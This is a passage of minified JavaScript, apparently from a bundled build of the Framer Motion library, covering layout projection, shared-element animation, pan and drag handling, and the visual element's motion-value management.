this.isAnimationBlocked||this.parent&&this.parent.isTreeAnimationBlocked()||!1}startUpdate(){this.isUpdateBlocked()||(this.isUpdating=!0,window.HandoffCancelAllAnimations&&window.HandoffCancelAllAnimations(),this.nodes&&this.nodes.forEach(Rm),this.animationId++)}getTransformTemplate(){const{visualElement:e}=this.options;return e&&e.getProps().transformTemplate}willUpdate(e=!0){if(this.root.hasTreeAnimated=!0,this.root.isUpdateBlocked())return void(this.options.onExitComplete&&this.options.onExitComplete());if(!this.root.isUpdating&&this.root.startUpdate(),this.isLayoutDirty)return;this.isLayoutDirty=!0;for(let e=0;e<this.path.length;e++){const t=this.path[e];t.shouldResetTransform=!0,t.updateScroll("snapshot"),t.options.layoutRoot&&t.willUpdate(!1)}const{layoutId:t,layout:n}=this.options;if(void 0===t&&!n)return;const r=this.getTransformTemplate();this.prevTransformTemplateValue=r?r(this.latestValues,""):void 0,this.updateSnapshot(),e&&this.notifyListeners("willUpdate")}update(){this.updateScheduled=!1;if(this.isUpdateBlocked())return this.unblockUpdate(),this.clearAllSnapshots(),void this.nodes.forEach(jm);this.isUpdating||this.nodes.forEach(Em),this.isUpdating=!1,this.nodes.forEach(Pm),this.nodes.forEach(wm),this.nodes.forEach(_m),this.clearAllSnapshots();const e=Td.now();Wu.delta=Kc(0,1e3/60,e-Wu.timestamp),Wu.timestamp=e,Wu.isProcessing=!0,Uu.update.process(Wu),Uu.preRender.process(Wu),Uu.render.process(Wu),Wu.isProcessing=!1}didUpdate(){this.updateScheduled||(this.updateScheduled=!0,pc.read((()=>this.update())))}clearAllSnapshots(){this.nodes.forEach(km),this.sharedNodes.forEach(Mm)}scheduleUpdateProjection(){this.projectionUpdateScheduled||(this.projectionUpdateScheduled=!0,$u.preRender(this.updateProjection,!1,!0))}scheduleCheckAfterUnmount(){$u.postRender((()=>{this.isLayoutDirty?this.root.didUpdate():this.root.checkUpdateFailed()}))}updateSnapshot(){!this.snapshot&&this.instance&&(this.snapshot=this.measure())}updateLayout(){if(!this.instance)return;if(this.updateScroll(),!(this.options.alwaysMeasureLayout&&this.isLead()||this.isLayoutDirty))return;if(this.resumeFrom&&!this.resumeFrom.instance)for(let e=0;e<this.path.length;e++){this.path[e].updateScroll()}const e=this.layout;this.layout=this.measure(!1),this.layoutCorrected={x:{min:0,max:0},y:{min:0,max:0}},this.isLayoutDirty=!1,this.projectionDelta=void 0,this.notifyListeners("measure",this.layout.layoutBox);const{visualElement:t}=this.options;t&&t.notify("LayoutMeasure",this.layout.layoutBox,e?e.layoutBox:void 0)}updateScroll(e="measure"){let t=Boolean(this.options.layoutScroll&&this.instance);this.scroll&&this.scroll.animationId===this.root.animationId&&this.scroll.phase===e&&(t=!1),t&&(this.scroll={animationId:this.root.animationId,phase:e,isRoot:r(this.instance),offset:n(this.instance)})}resetTransform(){if(!o)return;const e=this.isLayoutDirty||this.shouldResetTransform,t=this.projectionDelta&&!lm(this.projectionDelta),n=this.getTransformTemplate(),r=n?n(this.latestValues,""):void 0,i=r!==this.prevTransformTemplateValue;e&&(t||yh(this.latestValues)||i)&&(o(this.instance,r),this.shouldResetTransform=!1,this.scheduleRender())}measure(e=!0){const t=this.measurePageBox();let n=this.removeElementScroll(t);var r;return e&&(n=this.removeTransform(n)),Bm((r=n).x),Bm(r.y),{animationId:this.root.animationId,measuredBox:t,layoutBox:n,latestValues:{},source:this.id}}measurePageBox(){const{visualElement:e}=this.options;if(!e)return{x:{min:0,max:0},y:{min:0,max:0}};const t=e.measureViewportBox(),{scroll:n}=this.root;return n&&(Ph(t.x,n.offset.x),Ph(t.y,n.offset.y)),t}removeElementScroll(e){const t={x:{min:0,max:0},y:{min:0,max:0}};tm(t,e);for(let n=0;n<this.path.length;n++){const r=this.path[n],{scroll:o,options:i}=r;if(r!==this.root&&o&&i.layoutScroll){if(o.isRoot){tm(t,e);const{scroll:n}=this.root;n&&(Ph(t.x,-n.offset.x),Ph(t.y,-n.offset.y))}Ph(t.x,o.offset.x),Ph(t.y,o.offset.y)}}return t}applyTransform(e,t=!1){const n={x:{min:0,max:0},y:{min:0,max:0}};tm(n,e);for(let e=0;e<this.path.length;e++){const r=this.path[e];!t&&r.options.layoutScroll&&r.scroll&&r!==r.root&&Rh(n,{x:-r.scroll.offset.x,y:-r.scroll.offset.y}),yh(r.latestValues)&&Rh(n,r.latestValues)}return yh(this.latestValues)&&Rh(n,this.latestValues),n}removeTransform(e){const t={x:{min:0,max:0},y:{min:0,max:0}};tm(t,e);for(let e=0;e<this.path.length;e++){const n=this.path[e];if(!n.instance)continue;if(!yh(n.latestValues))continue;xh(n.latestValues)&&n.updateSnapshot();const r={x:{min:0,max:0},y:{min:0,max:0}};tm(r,n.measurePageBox()),sm(t,n.latestValues,n.snapshot?n.snapshot.layoutBox:void 0,r)}return yh(this.latestValues)&&sm(t,this.latestValues),t}setTargetDelta(e){this.targetDelta=e,this.root.scheduleUpdateProjection(),this.isProjectionDirty=!0}setOptions(e){this.options={...this.options,...e,crossfade:void 0===e.crossfade||e.crossfade}}clearMeasurements(){this.scroll=void 0,this.layout=void 0,this.snapshot=void 0,this.prevTransformTemplateValue=void 0,this.targetDelta=void 0,this.target=void 0,this.isLayoutDirty=!1}forceRelativeParentToResolveTarget(){this.relativeParent&&this.relativeParent.resolvedRelativeTargetAt!==Wu.timestamp&&this.relativeParent.resolveTargetDelta(!0)}resolveTargetDelta(e=!1){var t;const n=this.getLead();this.isProjectionDirty||(this.isProjectionDirty=n.isProjectionDirty),this.isTransformDirty||(this.isTransformDirty=n.isTransformDirty),this.isSharedProjectionDirty||(this.isSharedProjectionDirty=n.isSharedProjectionDirty);const r=Boolean(this.resumingFrom)||this!==n;if(!(e||r&&this.isSharedProjectionDirty||this.isProjectionDirty||(null===(t=this.parent)||void 0===t?void 0:t.isProjectionDirty)||this.attemptToResolveRelativeTarget))return;const{layout:o,layoutId:i}=this.options;if(this.layout&&(o||i)){if(this.resolvedRelativeTargetAt=Wu.timestamp,!this.targetDelta&&!this.relativeTarget){const e=this.getClosestProjectingParent();e&&e.layout&&1!==this.animationProgress?(this.relativeParent=e,this.forceRelativeParentToResolveTarget(),this.relativeTarget={x:{min:0,max:0},y:{min:0,max:0}},this.relativeTargetOrigin={x:{min:0,max:0},y:{min:0,max:0}},uh(this.relativeTargetOrigin,this.layout.layoutBox,e.layout.layoutBox),tm(this.relativeTarget,this.relativeTargetOrigin)):this.relativeParent=this.relativeTarget=void 0}if(this.relativeTarget||this.targetDelta){var s,a,l;if(this.target||(this.target={x:{min:0,max:0},y:{min:0,max:0}},this.targetWithTransforms={x:{min:0,max:0},y:{min:0,max:0}}),this.relativeTarget&&this.relativeTargetOrigin&&this.relativeParent&&this.relativeParent.target?(this.forceRelativeParentToResolveTarget(),s=this.target,a=this.relativeTarget,l=this.relativeParent.target,lh(s.x,a.x,l.x),lh(s.y,a.y,l.y)):this.targetDelta?(Boolean(this.resumingFrom)?this.target=this.applyTransform(this.layout.layoutBox):tm(this.target,this.layout.layoutBox),jh(this.target,this.targetDelta)):tm(this.target,this.layout.layoutBox),this.attemptToResolveRelativeTarget){this.attemptToResolveRelativeTarget=!1;const e=this.getClosestProjectingParent();e&&Boolean(e.resumingFrom)===Boolean(this.resumingFrom)&&!e.options.layoutScroll&&e.target&&1!==this.animationProgress?(this.relativeParent=e,this.forceRelativeParentToResolveTarget(),this.relativeTarget={x:{min:0,max:0},y:{min:0,max:0}},this.relativeTargetOrigin={x:{min:0,max:0},y:{min:0,max:0}},uh(this.relativeTargetOrigin,this.target,e.target),tm(this.relativeTarget,this.relativeTargetOrigin)):this.relativeParent=this.relativeTarget=void 0}bm.resolvedTargetDeltas++}}}getClosestProjectingParent(){if(this.parent&&!xh(this.parent.latestValues)&&!wh(this.parent.latestValues))return this.parent.isProjecting()?this.parent:this.parent.getClosestProjectingParent()}isProjecting(){return Boolean((this.relativeTarget||this.targetDelta||this.options.layoutRoot)&&this.layout)}calcProjection(){var e;const t=this.getLead(),n=Boolean(this.resumingFrom)||this!==t;let r=!0;if((this.isProjectionDirty||(null===(e=this.parent)||void 0===e?void 0:e.isProjectionDirty))&&(r=!1),n&&(this.isSharedProjectionDirty||this.isTransformDirty)&&(r=!1),this.resolvedRelativeTargetAt===Wu.timestamp&&(r=!1),r)return;const{layout:o,layoutId:i}=this.options;if(this.isTreeAnimating=Boolean(this.parent&&this.parent.isTreeAnimating||this.currentAnimation||this.pendingAnimation),this.isTreeAnimating||(this.targetDelta=this.relativeTarget=void 0),!this.layout||!o&&!i)return;tm(this.layoutCorrected,this.layout.layoutBox);const s=this.treeScale.x,a=this.treeScale.y;!function(e,t,n,r=!1){const o=n.length;if(!o)return;let i,s;t.x=t.y=1;for(let a=0;a<o;a++){i=n[a],s=i.projectionDelta;const o=i.instance;o&&o.style&&"contents"===o.style.display||(r&&i.options.layoutScroll&&i.scroll&&i!==i.root&&Rh(e,{x:-i.scroll.offset.x,y:-i.scroll.offset.y}),s&&(t.x*=s.x.scale,t.y*=s.y.scale,jh(e,s)),r&&yh(i.latestValues)&&Rh(e,i.latestValues))}t.x=Eh(t.x),t.y=Eh(t.y)}(this.layoutCorrected,this.treeScale,this.path,n),!t.layout||t.target||1===this.treeScale.x&&1===this.treeScale.y||(t.target=t.layout.layoutBox,t.targetWithTransforms={x:{min:0,max:0},y:{min:0,max:0}});const{target:l}=t;if(!l)return void(this.projectionTransform&&(this.projectionDelta={x:{translate:0,scale:1,origin:0,originPoint:0},y:{translate:0,scale:1,origin:0,originPoint:0}},this.projectionTransform="none",this.scheduleRender()));this.projectionDelta||(this.projectionDelta={x:{translate:0,scale:1,origin:0,originPoint:0},y:{translate:0,scale:1,origin:0,originPoint:0}},this.projectionDeltaWithTransform={x:{translate:0,scale:1,origin:0,originPoint:0},y:{translate:0,scale:1,origin:0,originPoint:0}});const c=this.projectionTransform;ah(this.projectionDelta,this.layoutCorrected,l,this.latestValues),this.projectionTransform=pm(this.projectionDelta,this.treeScale),this.projectionTransform===c&&this.treeScale.x===s&&this.treeScale.y===a||(this.hasProjected=!0,this.scheduleRender(),this.notifyListeners("projectionUpdate",l)),bm.recalculatedProjection++}hide(){this.isVisible=!1}show(){this.isVisible=!0}scheduleRender(e=!0){if(this.options.scheduleRender&&this.options.scheduleRender(),e){const e=this.getStack();e&&e.scheduleRender()}this.resumingFrom&&!this.resumingFrom.instance&&(this.resumingFrom=void 0)}setAnimationOrigin(e,t=!1){const n=this.snapshot,r=n?n.latestValues:{},o={...this.latestValues},i={x:{translate:0,scale:1,origin:0,originPoint:0},y:{translate:0,scale:1,origin:0,originPoint:0}};this.relativeParent&&this.relativeParent.options.layoutRoot||(this.relativeTarget=this.relativeTargetOrigin=void 0),this.attemptToResolveRelativeTarget=!t;const s={x:{min:0,max:0},y:{min:0,max:0}},a=(n?n.source:void 0)!==(this.layout?this.layout.source:void 0),l=this.getStack(),c=!l||l.members.length<=1,u=Boolean(a&&!c&&!0===this.options.crossfade&&!this.path.some(zm));let d;this.animationProgress=0,this.mixTargetDelta=t=>{const n=t/1e3;Am(i.x,e.x,n),Am(i.y,e.y,n),this.setTargetDelta(i),this.relativeTarget&&this.relativeTargetOrigin&&this.layout&&this.relativeParent&&this.relativeParent.layout&&(uh(s,this.layout.layoutBox,this.relativeParent.layout.layoutBox),function(e,t,n,r){Dm(e.x,t.x,n.x,r),Dm(e.y,t.y,n.y,r)}(this.relativeTarget,this.relativeTargetOrigin,s,n),d&&function(e,t){return e.x.min===t.x.min&&e.x.max===t.x.max&&e.y.min===t.y.min&&e.y.max===t.y.max}(this.relativeTarget,d)&&(this.isProjectionDirty=!1),d||(d={x:{min:0,max:0},y:{min:0,max:0}}),tm(d,this.relativeTarget)),a&&(this.animationValues=o,function(e,t,n,r,o,i){o?(e.opacity=Qp(0,void 0!==n.opacity?n.opacity:1,Zh(r)),e.opacityExit=Qp(void 0!==t.opacity?t.opacity:1,0,Qh(r))):i&&(e.opacity=Qp(void 0!==t.opacity?t.opacity:1,void 0!==n.opacity?n.opacity:1,r));for(let o=0;o<Kh;o++){const i=`border${Gh[o]}Radius`;let s=Xh(t,i),a=Xh(n,i);void 0===s&&void 0===a||(s||(s=0),a||(a=0),0===s||0===a||Yh(s)===Yh(a)?(e[i]=Math.max(Qp(qh(s),qh(a),r),0),(ou.test(a)||ou.test(s))&&(e[i]+="%")):e[i]=a)}(t.rotate||n.rotate)&&(e.rotate=Qp(t.rotate||0,n.rotate||0,r))}(o,r,this.latestValues,n,u,c)),this.root.scheduleUpdateProjection(),this.scheduleRender(),this.animationProgress=n},this.mixTargetDelta(this.options.layoutRoot?1e3:0)}startAnimation(e){this.notifyListeners("animationStart"),this.currentAnimation&&this.currentAnimation.stop(),this.resumingFrom&&this.resumingFrom.currentAnimation&&this.resumingFrom.currentAnimation.stop(),this.pendingAnimation&&(Hu(this.pendingAnimation),this.pendingAnimation=void 0),this.pendingAnimation=$u.update((()=>{Fh.hasAnimatedSinceResize=!0,this.currentAnimation=function(e,t,n){const r=Lc(e)?e:zf(e);return r.start(Nf("",r,t,n)),r.animation}(0,1e3,{...e,onUpdate:t=>{this.mixTargetDelta(t),e.onUpdate&&e.onUpdate(t)},onComplete:()=>{e.onComplete&&e.onComplete(),this.completeAnimation()}}),this.resumingFrom&&(this.resumingFrom.currentAnimation=this.currentAnimation),this.pendingAnimation=void 0}))}completeAnimation(){this.resumingFrom&&(this.resumingFrom.currentAnimation=void 0,this.resumingFrom.preserveOpacity=void 0);const e=this.getStack();e&&e.exitAnimationComplete(),this.resumingFrom=this.currentAnimation=this.animationValues=void 0,this.notifyListeners("animationComplete")}finishAnimation(){this.currentAnimation&&(this.mixTargetDelta&&this.mixTargetDelta(1e3),this.currentAnimation.stop()),this.completeAnimation()}applyTransformsToTarget(){const e=this.getLead();let{targetWithTransforms:t,target:n,layout:r,latestValues:o}=e;if(t&&n&&r){if(this!==e&&this.layout&&r&&Vm(this.options.animationType,this.layout.layoutBox,r.layoutBox)){n=this.target||{x:{min:0,max:0},y:{min:0,max:0}};const t=oh(this.layout.layoutBox.x);n.x.min=e.target.x.min,n.x.max=n.x.min+t;const r=oh(this.layout.layoutBox.y);n.y.min=e.target.y.min,n.y.max=n.y.min+r}tm(t,n),Rh(t,o),ah(this.projectionDeltaWithTransform,this.layoutCorrected,t,o)}}registerSharedNode(e,t){this.sharedNodes.has(e)||this.sharedNodes.set(e,new dm);this.sharedNodes.get(e).add(t);const n=t.options.initialPromotionConfig;t.promote({transition:n?n.transition:void 0,preserveFollowOpacity:n&&n.shouldPreserveFollowOpacity?n.shouldPreserveFollowOpacity(t):void 0})}isLead(){const e=this.getStack();return!e||e.lead===this}getLead(){var e;const{layoutId:t}=this.options;return t&&(null===(e=this.getStack())||void 0===e?void 0:e.lead)||this}getPrevLead(){var e;const{layoutId:t}=this.options;return t?null===(e=this.getStack())||void 0===e?void 0:e.prevLead:void 0}getStack(){const{layoutId:e}=this.options;if(e)return this.root.sharedNodes.get(e)}promote({needsReset:e,transition:t,preserveFollowOpacity:n}={}){const r=this.getStack();r&&r.promote(this,n),e&&(this.projectionDelta=void 0,this.needsReset=!0),t&&this.setOptions({transition:t})}relegate(){const e=this.getStack();return!!e&&e.relegate(this)}resetSkewAndRotation(){const{visualElement:e}=this.options;if(!e)return;let t=!1;const{latestValues:n}=e;if((n.z||n.rotate||n.rotateX||n.rotateY||n.rotateZ||n.skewX||n.skewY)&&(t=!0),!t)return;const r={};n.z&&xm("z",e,r,this.animationValues);for(let t=0;t<mm.length;t++)xm(`rotate${mm[t]}`,e,r,this.animationValues),xm(`skew${mm[t]}`,e,r,this.animationValues);e.render();for(const t in r)e.setStaticValue(t,r[t]),this.animationValues&&(this.animationValues[t]=r[t]);e.scheduleRender()}getProjectionStyles(e){var t,n;if(!this.instance||this.isSVG)return;if(!this.isVisible)return gm;const r={visibility:""},o=this.getTransformTemplate();if(this.needsReset)return this.needsReset=!1,r.opacity="",r.pointerEvents=Lu(null==e?void 0:e.pointerEvents)||"",r.transform=o?o(this.latestValues,""):"none",r;const i=this.getLead();if(!this.projectionDelta||!this.layout||!i.target){const t={};return this.options.layoutId&&(t.opacity=void 0!==this.latestValues.opacity?this.latestValues.opacity:1,t.pointerEvents=Lu(null==e?void 0:e.pointerEvents)||""),this.hasProjected&&!yh(this.latestValues)&&(t.transform=o?o({},""):"none",this.hasProjected=!1),t}const s=i.animationValues||i.latestValues;this.applyTransformsToTarget(),r.transform=pm(this.projectionDeltaWithTransform,this.treeScale,s),o&&(r.transform=o(s,r.transform));const{x:a,y:l}=this.projectionDelta;r.transformOrigin=`${100*a.origin}% ${100*l.origin}% 0`,i.animationValues?r.opacity=i===this?null!==(n=null!==(t=s.opacity)&&void 0!==t?t:this.latestValues.opacity)&&void 0!==n?n:1:this.preserveOpacity?this.latestValues.opacity:s.opacityExit:r.opacity=i===this?void 0!==s.opacity?s.opacity:"":void 0!==s.opacityExit?s.opacityExit:0;for(const e in Ac){if(void 0===s[e])continue;const{correct:t,applyTo:n}=Ac[e],o="none"===r.transform?s[e]:t(s[e],i);if(n){const e=n.length;for(let t=0;t<e;t++)r[n[t]]=o}else r[e]=o}return this.options.layoutId&&(r.pointerEvents=i===this?Lu(null==e?void 0:e.pointerEvents)||"":"none"),r}clearSnapshot(){this.resumeFrom=this.snapshot=void 0}resetTree(){this.root.nodes.forEach((e=>{var t;return null===(t=e.currentAnimation)||void 0===t?void 0:t.stop()})),this.root.nodes.forEach(jm),this.root.sharedNodes.clear()}}}function wm(e){e.updateLayout()}function _m(e){var t;const n=(null===(t=e.resumeFrom)||void 0===t?void 0:t.snapshot)||e.snapshot;if(e.isLead()&&e.layout&&n&&e.hasListeners("didUpdate")){const{layoutBox:t,measuredBox:r}=e.layout,{animationType:o}=e.options,i=n.source!==e.layout.source;"size"===o?gh((e=>{const r=i?n.measuredBox[e]:n.layoutBox[e],o=oh(r);r.min=t[e].min,r.max=r.min+o})):Vm(o,n.layoutBox,t)&&gh((r=>{const o=i?n.measuredBox[r]:n.layoutBox[r],s=oh(t[r]);o.max=o.min+s,e.relativeTarget&&!e.currentAnimation&&(e.isProjectionDirty=!0,e.relativeTarget[r].max=e.relativeTarget[r].min+s)}));const s={x:{translate:0,scale:1,origin:0,originPoint:0},y:{translate:0,scale:1,origin:0,originPoint:0}};ah(s,t,n.layoutBox);const a={x:{translate:0,scale:1,origin:0,originPoint:0},y:{translate:0,scale:1,origin:0,originPoint:0}};i?ah(a,e.applyTransform(r,!0),n.measuredBox):ah(a,t,n.layoutBox);const l=!lm(s);let c=!1;if(!e.resumeFrom){const r=e.getClosestProjectingParent();if(r&&!r.resumeFrom){const{snapshot:o,layout:i}=r;if(o&&i){const s={x:{min:0,max:0},y:{min:0,max:0}};uh(s,n.layoutBox,o.layoutBox);const a={x:{min:0,max:0},y:{min:0,max:0}};uh(a,t,i.layoutBox),cm(s,a)||(c=!0),r.options.layoutRoot&&(e.relativeTarget=a,e.relativeTargetOrigin=s,e.relativeParent=r)}}}e.notifyListeners("didUpdate",{layout:t,snapshot:n,delta:a,layoutDelta:s,hasLayoutChanged:l,hasRelativeTargetChanged:c})}else if(e.isLead()){const{onExitComplete:t}=e.options;t&&t()}e.options.transition=void 0}function Sm(e){bm.totalNodes++,e.parent&&(e.isProjecting()||(e.isProjectionDirty=e.parent.isProjectionDirty),e.isSharedProjectionDirty||(e.isSharedProjectionDirty=Boolean(e.isProjectionDirty||e.parent.isProjectionDirty||e.parent.isSharedProjectionDirty)),e.isTransformDirty||(e.isTransformDirty=e.parent.isTransformDirty))}function Cm(e){e.isProjectionDirty=e.isSharedProjectionDirty=e.isTransformDirty=!1}function km(e){e.clearSnapshot()}function jm(e){e.clearMeasurements()}function Em(e){e.isLayoutDirty=!1}function Pm(e){const{visualElement:t}=e.options;t&&t.getProps().onBeforeLayoutMeasure&&t.notify("BeforeLayoutMeasure"),e.resetTransform()}function Nm(e){e.finishAnimation(),e.targetDelta=e.relativeTarget=e.target=void 0,e.isProjectionDirty=!0}function Tm(e){e.resolveTargetDelta()}function Im(e){e.calcProjection()}function Rm(e){e.resetSkewAndRotation()}function Mm(e){e.removeLeadSnapshot()}function Am(e,t,n){e.translate=Qp(t.translate,0,n),e.scale=Qp(t.scale,1,n),e.origin=t.origin,e.originPoint=t.originPoint}function Dm(e,t,n,r){e.min=Qp(t.min,n.min,r),e.max=Qp(t.max,n.max,r)}function zm(e){return e.animationValues&&void 0!==e.animationValues.opacityExit}const Om={duration:.45,ease:[.4,0,.1,1]},Lm=e=>"undefined"!=typeof navigator&&navigator.userAgent&&navigator.userAgent.toLowerCase().includes(e),Fm=Lm("applewebkit/")&&!Lm("chrome/")?Math.round:Vu;function Bm(e){e.min=Fm(e.min),e.max=Fm(e.max)}function Vm(e,t,n){return"position"===e||"preserve-aspect"===e&&!ih(um(t),um(n),.2)}const $m=ym({attachResizeListener:(e,t)=>qu(e,"resize",t),measureScroll:()=>({x:document.documentElement.scrollLeft||document.body.scrollLeft,y:document.documentElement.scrollTop||document.body.scrollTop}),checkIsScrollRoot:()=>!0}),Hm={current:void 0},Wm=ym({measureScroll:e=>({x:e.scrollLeft,y:e.scrollTop}),defaultParent:()=>{if(!Hm.current){const e=new $m({});e.mount(window),e.setOptions({layoutScroll:!0}),Hm.current=e}return Hm.current},resetTransform:(e,t)=>{e.style.transform=void 0!==t?t:"none"},checkIsScrollRoot:e=>Boolean("fixed"===window.getComputedStyle(e).position)}),Um={pan:{Feature:class extends id{constructor(){super(...arguments),this.removePointerDownListener=Vu}onPointerDown(e){this.session=new Zf(e,this.createPanHandlers(),{transformPagePoint:this.node.getTransformPagePoint(),contextWindow:Ah(this.node)})}createPanHandlers(){const{onPanSessionStart:e,onPanStart:t,onPan:n,onPanEnd:r}=this.node.getProps();return{onSessionStart:Lh(e),onStart:Lh(t),onMove:n,onEnd:(e,t)=>{delete this.session,r&&$u.postRender((()=>r(e,t)))}}}mount(){this.removePointerDownListener=Zu(this.node.current,"pointerdown",(e=>this.onPointerDown(e)))}update(){this.session&&this.session.updateHandlers(this.createPanHandlers())}unmount(){this.removePointerDownListener(),this.session&&this.session.end()}}},drag:{Feature:class extends id{constructor(e){super(e),this.removeGroupControls=Vu,this.removeListeners=Vu,this.controls=new zh(e)}mount(){const{dragControls:e}=this.node.getProps();e&&(this.removeGroupControls=e.subscribe(this.controls)),this.removeListeners=this.controls.addListeners()||Vu}unmount(){this.removeGroupControls(),this.removeListeners()}},ProjectionNode:Wm,MeasureLayout:Wh}},Gm={current:null},Km={current:!1};const qm=new WeakMap,Ym=[...Ud,ip,fp],Xm=Object.keys(kc),Zm=Xm.length,Qm=["AnimationStart","AnimationComplete","Update","BeforeLayoutMeasure","LayoutMeasure","LayoutAnimationStart","LayoutAnimationComplete"],Jm=xc.length;function eg(e){if(e)return!1!==e.options.allowProjection?e.projection:eg(e.parent)}class tg{scrapeMotionValuesFromProps(e,t,n){return{}}constructor({parent:e,props:t,presenceContext:n,reducedMotionConfig:r,blockInitialAnimation:o,visualState:i},s={}){this.resolveKeyframes=(e,t,n,r)=>new this.KeyframeResolver(e,t,n,r,this),this.current=null,this.children=new Set,this.isVariantNode=!1,this.isControllingVariants=!1,this.shouldReduceMotion=null,this.values=new Map,this.KeyframeResolver=Qd,this.features={},this.valueSubscriptions=new Map,this.prevMotionValues={},this.events={},this.propEventSubscriptions={},this.notifyUpdate=()=>this.notify("Update",this.latestValues),this.render=()=>{this.current&&(this.triggerBuild(),this.renderInstance(this.current,this.renderState,this.props.style,this.projection))},this.scheduleRender=()=>$u.render(this.render,!1,!0);const{latestValues:a,renderState:l}=i;this.latestValues=a,this.baseTarget={...a},this.initialValues=t.initial?{...a}:{},this.renderState=l,this.parent=e,this.props=t,this.presenceContext=n,this.depth=e?e.depth+1:0,this.reducedMotionConfig=r,this.options=s,this.blockInitialAnimation=Boolean(o),this.isControllingVariants=yc(t),this.isVariantNode=wc(t),this.isVariantNode&&(this.variantChildren=new Set),this.manuallyAnimateOnMount=Boolean(e&&e.current);const{willChange:c,...u}=this.scrapeMotionValuesFromProps(t,{},this);for(const e in u){const t=u[e];void 0!==a[e]&&Lc(t)&&(t.set(a[e],!1),Tf(c)&&c.add(e))}}mount(e){this.current=e,qm.set(e,this),this.projection&&!this.projection.instance&&this.projection.mount(e),this.parent&&this.isVariantNode&&!this.isControllingVariants&&(this.removeFromVariantTree=this.parent.addVariantChild(this)),this.values.forEach(((e,t)=>this.bindToMotionValue(t,e))),Km.current||function(){if(Km.current=!0,nc)if(window.matchMedia){const e=window.matchMedia("(prefers-reduced-motion)"),t=()=>Gm.current=e.matches;e.addListener(t),t()}else Gm.current=!1}(),this.shouldReduceMotion="never"!==this.reducedMotionConfig&&("always"===this.reducedMotionConfig||Gm.current),this.parent&&this.parent.children.add(this),this.update(this.props,this.presenceContext)}unmount(){var e;qm.delete(this.current),this.projection&&this.projection.unmount(),Hu(this.notifyUpdate),Hu(this.render),this.valueSubscriptions.forEach((e=>e())),this.removeFromVariantTree&&this.removeFromVariantTree(),this.parent&&this.parent.children.delete(this);for(const e in this.events)this.events[e].clear();for(const t in this.features)null===(e=this.features[t])||void 0===e||e.unmount();this.current=null}bindToMotionValue(e,t){const n=zc.has(e),r=t.on("change",(t=>{this.latestValues[e]=t,this.props.onUpdate&&$u.preRender(this.notifyUpdate),n&&this.projection&&(this.projection.isTransformDirty=!0)})),o=t.on("renderRequest",this.scheduleRender);this.valueSubscriptions.set(e,(()=>{r(),o(),t.owner&&t.stop()}))}sortNodePosition(e){return this.current&&this.sortInstanceNodePosition&&this.type===e.type?this.sortInstanceNodePosition(this.current,e.current):0}loadFeatures({children:e,...t},n,r,o){let i,s;for(let e=0;e<Zm;e++){const n=Xm[e],{isEnabled:r,Feature:o,ProjectionNode:a,MeasureLayout:l}=kc[n];a&&(i=a),r(t)&&(!this.features[n]&&o&&(this.features[n]=new o(this)),l&&(s=l))}if(("html"===this.type||"svg"===this.type)&&!this.projection&&i){const{layoutId:e,layout:n,drag:r,dragConstraints:s,layoutScroll:a,layoutRoot:l}=t;this.projection=new i(this.latestValues,t["data-framer-portal-id"]?void 0:eg(this.parent)),this.projection.setOptions({layoutId:e,layout:n,alwaysMeasureLayout:Boolean(r)||s&&hc(s),visualElement:this,scheduleRender:()=>this.scheduleRender(),animationType:"string"==typeof n?n:"both",initialPromotionConfig:o,layoutScroll:a,layoutRoot:l})}return s}updateFeatures(){for(const e in this.features){const t=this.features[e];t.isMounted?t.update():(t.mount(),t.isMounted=!0)}}triggerBuild(){this.build(this.renderState,this.latestValues,this.options,this.props)}measureViewportBox(){return this.current?this.measureInstanceViewportBox(this.current,this.props):{x:{min:0,max:0},y:{min:0,max:0}}}getStaticValue(e){return this.latestValues[e]}setStaticValue(e,t){this.latestValues[e]=t}update(e,t){(e.transformTemplate||this.props.transformTemplate)&&this.scheduleRender(),this.prevProps=this.props,this.props=e,this.prevPresenceContext=this.presenceContext,this.presenceContext=t;for(let t=0;t<Qm.length;t++){const n=Qm[t];this.propEventSubscriptions[n]&&(this.propEventSubscriptions[n](),delete this.propEventSubscriptions[n]);const r=e["on"+n];r&&(this.propEventSubscriptions[n]=this.on(n,r))}this.prevMotionValues=function(e,t,n){const{willChange:r}=t;for(const o in t){const i=t[o],s=n[o];if(Lc(i))e.addValue(o,i),Tf(r)&&r.add(o);else if(Lc(s))e.addValue(o,zf(i,{owner:e})),Tf(r)&&r.remove(o);else if(s!==i)if(e.hasValue(o)){const t=e.getValue(o);!0===t.liveStyle?t.jump(i):t.hasAnimated||t.set(i)}else{const t=e.getStaticValue(o);e.addValue(o,zf(void 0!==t?t:i,{owner:e}))}}for(const r in n)void 0===t[r]&&e.removeValue(r);return t}(this,this.scrapeMotionValuesFromProps(e,this.prevProps,this),this.prevMotionValues),this.handleChildMotionValue&&this.handleChildMotionValue()}getProps(){return this.props}getVariant(e){return this.props.variants?this.props.variants[e]:void 0}getDefaultTransition(){return this.props.transition}getTransformPagePoint(){return this.props.transformPagePoint}getClosestVariantNode(){return this.isVariantNode?this:this.parent?this.parent.getClosestVariantNode():void 0}getVariantContext(e=!1){if(e)return this.parent?this.parent.getVariantContext():void 0;if(!this.isControllingVariants){const e=this.parent&&this.parent.getVariantContext()||{};return void 0!==this.props.initial&&(e.initial=this.props.initial),e}const t={};for(let e=0;e<Jm;e++){const n=xc[e],r=this.props[n];(gc(r)||!1===r)&&(t[n]=r)}return t}addVariantChild(e){const t=this.getClosestVariantNode();if(t)return t.variantChildren&&t.variantChildren.add(e),()=>t.variantChildren.delete(e)}addValue(e,t){const n=this.values.get(e);t!==n&&(n&&this.removeValue(e),this.bindToMotionValue(e,t),this.values.set(e,t),this.latestValues[e]=t.get())}removeValue(e){this.values.delete(e);const t=this.valueSubscriptions.get(e);t&&(t(),this.valueSubscriptions.delete(e)),delete this.latestValues[e],this.removeValueFromRenderState(e,this.renderState)}hasValue(e){return this.values.has(e)}getValue(e,t){if(this.props.values&&this.props.values[e])return this.props.values[e];let n=this.values.get(e);return void 0===n&&void 0!==t&&(n=zf(null===t?void 0:t,{owner:this}),this.addValue(e,n)),n}readValue(e,t){var n;let r=void 0===this.latestValues[e]&&this.current?null!==(n=this.getBaseTargetFromProps(this.props,e))&&void 0!==n?n:this.readValueFromInstance(this.current,e,this.options):this.latestValues[e];return null!=r&&("string"==typeof r&&(Ad(r)||Id(r))?r=parseFloat(r):!(e=>Ym.find(Wd(e)))(r)&&fp.test(t)&&(r=yp(e,t)),this.setBaseTarget(e,Lc(r)?r.get():r)),Lc(r)?r.get():r}setBaseTarget(e,t){this.baseTarget[e]=t}getBaseTarget(e){var t;const{initial:n}=this.props;let 